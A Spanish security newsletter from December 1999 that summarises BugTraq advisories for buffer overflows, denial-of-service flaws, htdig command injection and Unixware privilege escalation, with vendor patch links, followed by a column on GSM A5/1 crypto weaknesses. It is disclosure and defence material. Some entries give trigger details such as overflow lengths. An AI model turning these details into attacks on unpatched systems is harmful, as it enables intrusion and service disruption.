URL Relevante: http://www.securityfocus.com/bid/861
Resumen:

Internet Explorer puede manejar URL de tipo vnd.ms.radio: para
streaming de audio. Si se especifica una URL de 360 o más
caracteres tras 'vns.ms.radio', se sobreescribe un buffer en el
archivo MSDXM.OCX. Lo que permite la ejecución de
código arbitrario en la maquina cliente.

5. Vulnerabilidad de DoS en GoodTech Telnet Server NT
BugTraq ID: 862
Remoto: Sí
Fecha de publicación: 06-12-1999
URL Relevante: http://www.securityfocus.com/bid/862
Resumen:

GoodTech Telnet Server NT 2.2.1 es vulnerable a un ataque de
negación de servicios de forma remota debido a un buffer no
chequeado. Si se escriben 23.870 o más caracteres en el prompt
del nombre de usuario, el software deja de prestar servicios.
Es posible que GooodTech Telnet Server 95/98 también sea
vulnerable a este overflow.

6. Vulnerabilidad de buffer overflow en Xshipwars
BugTraq ID: 863
Remoti: Si
Fecha de publicación: 09-12-1999
URL Relevante: http://www.securityfocus.com/bid/863
Resumen:

Xshipware es un juego gráfico de 'star battle' con modelo
cliente/servidor que corre en variedad de plataformas.
Ciertas versiones del servidor que viene con este juego
(versiones anteriores a la 1.25) tenían un buffer overflow
explotable en forma remota. El exploit podría provocar
la ejecución de código arbitrario con el UID del proceso
del servidor.

7. Vulnerabilidad de buffer overflow en Solaris snoop (GETQUOTA)
BugTraq ID: 864
Remoto: Sí
Fecha de publicación: 09-12-1999
URL Relevante: http://www.securityfocus.com/bid/864
Resumen:

Ciertas versiones de Solaris (2.x) incluyen un programa
(/usr/sbin/snoop) diseñado para monitorizar el trafico de
red de un segmento ethernet en el cual se encuentra el
host. Bajo ciertas versiones de Solaris este programa es
vulnerable a un ataque de buffer overflow explotable en
forma remota. El problema se produce cuando snoop
trata de decodificar los pedidos GETQUOTA enviados
al demonio RPC rquotad.

Rquotad es un servidor rpc(4) el cual devuelve cuotas para un
usuario de un file system local el cual esta montado remotamente
por una maquina remota sobre NFS. Los resultados son usados
por quota(1M) para mostrar cuotas de usuario para sistemas de
archivos remotos.

Un pedido GETQUOTA excesivamente largo resulta en un buffer
overflow, que puede ser usado para ejecutar código arbitrario
como root (el nivel de privilegio bajo el que corre snoop).

8. Vulnerabilidad de buffer overflow en Netscape Enterprise
Server para Netware Admin
BugTraq ID: 865
Remoto: Sí
Fecha de publicación: 08-12-1999
URL Relevante: http://www.securityfocus.com/bid/865
Resumen:

El Netscape Enterprise Server para NetWare 4/5 incluye una
opción de Admin que es vulnerable a un ataque de negación
de servicios a causa de un buffer no chequeado en admsrev.nlm,
en el procedimiento de login. Si se introduce un nombre de
usuario de 310 caracteres, el servidor Admin deja de prestar
servicios. Esto no afecta el normal funcionamiento del servidor
web, pero no será posible la administración remota hasta que
se reinicie el servidor.

Nota: Enterprise Server para Netware es soportado por Netware,
no Netscape. Chequee las paginas web en la seccion de creditos
para mas detalles.

9. Vulnerabilidad de buffer overflow en Solaris sadmind
BugTraq ID: 866
Remoto: Sí
Fecha de publicación: 10-12-1999
URL Relevante: http://www.securityfocus.com/bid/866
Resumen:

Ciertas versiones de Solaris vienen con una versión de sadmind
que es vulnerable a un ataque de buffer overflow, que se puede
explotar de forma remota. Sadmind es el demonio empleado
por las aplicaciones de Solstice AdminSuite para realizar
operaciones de administración distribuida del sistema, tales
como agregar usuarios. El demonio sadmind se inicia
automáticamente por el daemon inetd cuando se recibe un
pedido para realizar una operación.

Bajo las versiones vulnerables de sadmind (fueron testadas
2.6 y 7.0), si se pasa un buffer demasiado largo a un
pedido NETMGT_PROC_SERVICE (llamado via clnt_call()), es
posible sobreescribir el stack pointer y ejecutar codigo
arbitrario. El buffer real en cuestión parece contener
el nombre de dominio del cliente. El overflow en sadmind
tiene lugar en la función amsl_verify(). Debido a que
sadmind corre como root cualquier código que se ejecute
va a correr con privilegios de root, resultando entonces
en el compromiso de esta cuenta.

10. Vulnerabilidad en ejecucion de comando remoto de htdig
BugTraq ID: 867
Remoto: Sí
Fecha de publicación: 09-12-1999
URL Relevante: http://www.securityfocus.com/bid/867
Resumen:

htdig es un programa que vine con Debian GNU/Linux 2.1 usado
para indexar y buscar archivos en servidores web. Cuando
intenta manipular archivos no HTML, llama a un programa
externo con el documento como parámetro - sin chequear
por shell escapes. Si es posible crear archivos
cuyos nombres contengan shell escapes, puede ser posible
ejecutar comandos de shell arbitrarios en el servidor web
atacado debido a este problema, lo que provoca un compromiso
remoto.

11. Vulnerabilidad de troyano de Microsoft Help File

BugTraq ID: 868

Remoto: No

Fecha de publicación: 10-12-1999

URL Relevante: http://www.securityfocus.com/bid/868

Resumen:

Los archivos de ayuda para el Sistema de Ayuda de Windows (*.cnt,
*.hlp) pueden editarse de forma que ejecuten un programa
arbitrario cuando el usuario los seleccione. El ejecutable
correrá con los privilegios del usuario.

Los archivos *.cnt son como tablas de contenidos que le dicen
al sistema de ayuda que abrir cuando cada se selecciona cada
tema. Estas entradas pueden editarse para realizar llamadas
al sistema y DLLs y a ejecutar programas cuando se seleccione
un tema.

Los archivos de ayuda mismo, *.hlp, pueden ser editados en
similar forma.

12. Vulnerabilidad de Debugeo de Programa Privilegado en
SCO Unixware
BugTraq ID: 869
Remoto: No
Fecha de publicación: 10-12-1999
URL Relevante:
http://www.securityfocus.com/bid/869
Resumen:

El modelo de seguridad de Unixware incluye el concepto de
privilegios. Estos se pueden asignar a procesos y permitirles
hacer tareas que de otra manera solo podrían ser llevados
a cabo por el usuario root. Permiten que los programas
corran con el mínimo privilegio requerido (lo contrario
a correr como root). Una vulnerabilidad en la implementación
de los privilegios de Unixware permite a los usuarios regulares
adjuntar un debugger a un programa privilegiado en ejecución
y obtener sus privilegios.

La mayoría de los sistemas Unix, incluido Unixware, ponen
un numero de restricciones en como los usuarios normales
pueden interactuar con los procesos setuid y setgid. Por ejemplo
no les esta permitido adjuntar un debugger a ellos y el
linker dinamico puede ignorar variables que piden la
pre-carga de algunas librerías compartidas (shared libraries).
La implementaron de Unixware de los privilegios no cuenta
con esas protecciones para los programas privilegiados y permite
a un usuario adjuntar un debugger a un proceso privilegiado
en ejecución que tenga el mismo uid que él y modificarlo.

Cuando se ejecuta un programa que listado en
/etc/security/tcb/privs se le dan los privilegios listados ahí.
Todo lo que un usuario malicioso debe hacer para explotar el
problema es encontrar un programa listado en ese archivo con
los privilegios que quiera obtener y que el mismo pueda ejecutar.
Por ejemplo, algunos programas ejecutables por cualquier con
privilegios son: /usr/ucb/w (DACREAD), /usr/bin/getdev
(DACWRITE) y /usr/ucb/lpr (SETUID).

Actualización de parches del 06-12-1999 al 13-12-1999
-----------------------------------------------------

1. Vendedor: Sun
Productp: Solaris
Vulnerabilidad parcheada: Buffer Oveflow en Solaris snoop
(GETQUOTA)
BugTraq ID: 864
URLs Relevantes:
http://www.securityfocus.com/bid/864
http://sunsolve.sun.com
Ubicación del parche:
http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access
Patch IDs:
Solaris 7 sparc 108482-01
Solaris 7 x86 108483-01
Solaris 5.6 sparc 108492-01
Solaris 5.6 x86 108493-01
Solaris 5.5 sparc 108501-01
Solaris 5.5 x86 108502-01
Solaris 5.4 sparc 108490-01
Solaris 5.4 x86 108491-01
Solaris 5.3 sparc 108489-01

2. Vendedor: Wolfpack Development
Producto: Xshipwars
Vulnerabilidad parcheada: buffer overflow en Xshipwars
BugTraq ID: 863
URLs Relevantes:
http://www.securityfocus.com/bid/863
Ubicación del Patch:
http://fox.mit.edu/xsw/

3. Vendedor: Debian
Producto: GNU/Linux
Vulnerabilidad parcheada: Vulnerabilidad de ejecución de comando
remoto en htdig
BugTraq ID: 867
URLs Relevantes:
http://www.securityfocus.com/bid/867
http://www.debian.org/security/
Ubicación del Patch:
Debian GNU/Linux 2.1 alias slink

Archivos fuente:

http://security.debian.org/dists/stable/updates/source/htdig_3.1.2-4slink6.diff.gz
MD5 checksum: 9151d7e15d7a2759958c09e6c21f28de

http://security.debian.org/dists/stable/updates/source/htdig_3.1.2-4slink6.dsc
MD5 checksum: fc05d22813afaa9fce10e97a5437ed69

http://security.debian.org/dists/stable/updates/source/htdig_3.1.2.orig.tar.gz
MD5 checksum: ddd0305d420e2d6025694d4e1448d5f7

Alpha:
http://security.debian.org/dists/stable/updates/binary-alpha/htdig_3.1.2-4slink6_alpha.deb
MD5 checksum: 1f816b0af2dd5919524d26be2017ec62

Intel ia32:
http://security.debian.org/dists/stable/updates/binary-i386/htdig_3.1.2-4slink6_i386.deb
MD5 checksum: da77c99388d3d9d09afecb2c9f345d58

Motorola 680x0:
http://security.debian.org/dists/stable/updates/binary-m68k/htdig_3.1.2-4slink6_m68k.deb
MD5 checksum: 48986e8f5323db7b899c6341b87c3d4d

Sun Sparc:
http://security.debian.org/dists/stable/updates/binary-sparc/htdig_3.1.2-4slink6_sparc.deb
MD5 checksum: fcd3181ad76a72e82db2f769d88ff18c

Estos archivos van a ser movidos a
ftp://ftp.debian.org/debian/dists/stable/*/binary-$arch/ en breve.

4. Vendedor: Stalker
Producto: Communigate Pro
Vulnerabilidad parcheada: Vulnerabilidad DoS en Communigate Pro
Web Admin
BugTraq ID: 860
URLS Relevantes:
http://www.securityfocus.com/bid/860
http://www.stalker.com
Ubicación del Patch:
ftp://ftp.stalker.com/pub/CommuniGatePro/
(las versiones 3.2, 3.2b5 y 3.2b7 estan arregladas)
5. Vendedor: Hewlett-Packard
Producto: HP-UX
Vulnerabilidad parcheada: buffer overflow en mensaje Wu-ftpd
BugTraq ID: 726
URLS Relevantes:
http://www.securityfocus.com/bid/726
Ubicación del Patch:
ftp://us-ffs.external.hp.com/export/patches/hp-ux_patch_matrix/
Patch: PHNE_18377



Hernan Ochoa
hochoa@core-sdi.com
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com



martes, 14 de diciembre de 1999

La seguridad de GSM se tambalea

Dos criptógrafos israelíes aseguran ser capaces de descifrar ¡en
menos de un segundo! las conversaciones protegidas con el algoritmo
criptográfico A5/1 de GSM, el estándar europeo de comunicaciones
móviles digitales y de otros muchos países, que cuenta con más de 200
millones de usuarios en todo el mundo.
Grandes compañías y gobiernos en todo el mundo se empeñan en
perseguir la seguridad a través de la oscuridad: consideran que
ocultando los detalles de cómo funcionan sus algoritmos
criptográficos conseguirán aumentar la seguridad global de sus
sistemas. Nada más lejos de la realidad. En estas situaciones, lo que
inevitablemente ocurre es que el desarrollo de los algoritmos de
protección de la confidencialidad se deja en manos de un equipo de
ingenieros y técnicos que lo llevan a cabo de la mejor manera que
saben y que, sin duda alguna, superan con éxito los ataques
convencionales, ofreciendo una seguridad satisfactoria a primera
vista. Sin embargo, para contar con mayores garantías de que un
algoritmo o protocolo es seguro, no basta con que sea revisado por un
equipo de seguridad a sueldo. Es absolutamente imprescindible que se
publique en revistas científicas, siendo accesible a todo aquel
interesado en estudiar su robustez. Sólo así, sometiéndose al público
escrutinio de la comunidad académica, se puede reunir un equipo de
investigación de cientos o miles de expertos que trabajarán durante
meses o años en la búsqueda de fallos y vulnerabilidades (considérese
el caso de DES, sobre el que se lleva más de veinte años publicando
artículos). Ninguna gran empresa ni gobierno puede permitirse una
fuerza humana de semejantes dimensiones. Sólo los algoritmos de
dominio público que superan durante años el análisis e indagación de
profesionales de la criptografía se pueden considerar "seguros", en
la medida en que no se conoce ningún medio de atacarlos (lo cual no
significa que no existan, sino simplemente que en el estado actual de
evolución de las matemáticas, la informática y la teoría de números
no se conocen vías de ataque eficaces).

Microsoft ha protagonizado recientemente varios ejemplos patéticos de
sistemas de seguridad irrisoria desarrollados por la propia empresa,
dando la espalda a algoritmos y protocolos de dominio público
ampliamente extendidos y probados. En consecuencia, algunos de sus
productos, aparentemente seguros porque nadie conoce sus mecanismos
internos, basan su seguridad en unos algoritmos criptográficos
endebles o incluso triviales de resolver, como ha sido el caso, casi
humorístico, de la protección de las contraseñas en máquinas con
Windows CE (www.cegadgets.com/artsusageP.htm), que utilizaban como
algoritmo criptográfico una suma exclusiva XOR de los caracteres de
la contraseña con la palabra Pegasus (nombre de la primera generación
de sistemas operativos Windows CE). El caso de las debilidades de
PPTP, protocolo de "tunelado" punto a punto se para asegurar las
conexiones sobre enlaces TCP/IP, reseñadas por el famoso criptógrafo
Bruce Schneier en www.counterpane.com/pptpv2-paper.html, ilustra
nuevamente que el secretismo sólo sirve para retrasar lo inevitable:
el ataque con éxito a un sistema que no ha sido públicamente
estudiado, sino obcecadamente mantenido en secreto.

Por su parte, el estándar de telefonía móvil digital GSM
tradicionalmente ha basado su seguridad en la fórmula oscurantista:
ocultar los algoritmos y difundir mentiras para crear en los usuarios
la sensación de privacidad y confidencialidad. Durante años se han
mantenido en secreto sus algoritmos: A3, para autenticación de
usuarios ante la red; A8, para derivación de claves de sesión; y A5,
para cifrar el contenido de la conversación extremo a extremo. Estos
nombres no son más que etiquetas para denominar a los algoritmos,
cuya elección e implantación detallada queda al libre albedrío de
cada operador en el caso de los dos primeros. Sin embargo, al
suministrarse en el estándar un algoritmo de referencia, el COMP128,
y recomendarse la adopción del mismo algoritmo para facilitar
operaciones como el "roaming", resulta dudoso que existan muchas
redes GSM que hayan desarrollado los suyos propios.

A lo largo de los últimos años han ido saliendo a la luz una serie de
datos, negados sistemáticamente por las operadoras y organismos
encargados del desarrollo de GSM, que han puesto de manifiesto el
engaño y manipulación a que se encontraban sometidos los clientes.

Uno de los más controvertidos fue la constatación de que en las
claves del algoritmo A5, utilizado para cifrar las conversaciones y
preservar así su confidencialidad, teóricamente de 64 bits de
longitud, en realidad sólo se utilizan 54, reduciendo por tanto 1024
veces el tiempo necesario para realizar un ataque de fuerza bruta
sobre él. Este debilitamiento deliberado se conjetura pueda deberse
al afán orwelliano de los gobiernos por espiar a sus ciudadanos,
tarea drásticamente facilitada por esta reducción aparentemente
intencionada en la seguridad de GSM.

Más aún, sin necesidad de limitar el espacio de claves, poco a poco
se fue filtrando información acerca de los algoritmos concretos
utilizados en A3 y A8, que resultaron ser variantes de COMP128, que
posee importantes debilidades y fallos de diseño, como revelaron los
estudios posteriores realizados por un grupo de criptógrafos
(www.scard.org).

La publicación en mayo de 1998 de un artículo acerca de la
posibilidad de clonar tarjetas SIM (que identifican al usuario ante
la red, hecho fundamental para saber a quién cobrar la factura de la
llamada), destapó de nuevo la polémica en torno a la seguridad real o
fingida de GSM. Merece la pena consultar a este respecto el
monumental trabajo de reconstrucción llevado a cabo por Jesús Cea
Avión (www.argo.es/~jcea/artic/gsm.htm), en el que se describe el
ataque y sus consecuencias.

Recientemente (v. art. 3), la noticia hace unos días de que dos
investigadores israelíes, Alex Byriukov y Adi Shamir (uno de los más
reputados criptógrafos del mundo, creador junto a Rivest y Adleman de
RSA, de ahí el nombre del algoritmo), han descubierto nuevos fallos
en la seguridad de GSM que les permiten descifrar las conversaciones
cifradas con A5/1 ¡en menos de un segundo! reabre el debate acerca de
la verdadera fortaleza de GSM frente a escuchas ilegales y uso
fraudulento de sus tarjetas SIM. Organizaciones como la GSM
Association (www.gsm.org) perseveran en la negación de los hechos y
en recalcar la seguridad sin parangón de GSM, ciegos a los esfuerzos
criptoanalistas de investigadores de todo el mundo, que lenta pero
sistemáticamente van obteniendo su fruto.

De momento, la dificultad de reproducir estos ataques, que exigen
costosos recursos computacionales y equipos de telecomunicaciones muy
sofisticados, como los escáneres digitales, de precio muy elevado,
cuando no ilegales en muchos países, está frenando la comisión
generalizada de delitos de escuchas y llamadas fraudulentas a cargo
de otros abonados de la red. Sin embargo, mientras la industria GSM
se empecine en el secretismo y en negar los riesgos reales que
investigadores de todo el mundo descubren regularmente, llegará el
día en que con modestos recursos se podrá escuchar cualquier
conversación o timar a las operadoras y otros usuarios. Entonces los
costes para reparar el boquete serán formidables, por no haberse
querido tapar a tiempo los pequeños agujeros. No habrá que esperar
mucho antes de que se demuestre que el oscurantismo es la mejor
fórmula... ¡para el fracaso más estrepitoso!

Más información:
Cell Phone Crypto Penetrated
Desarrolladores israelíes descodifican
las señales de los teléfonos móviles GSM
Two say they cracked A5/1 encryption code
Researchers claim GSM cell phones insecure



Gonzalo Álvarez Marañón
criptonomicon@iec.csic.es
Boletín Criptonomicón #62
http://www.iec.csic.es/criptonomicon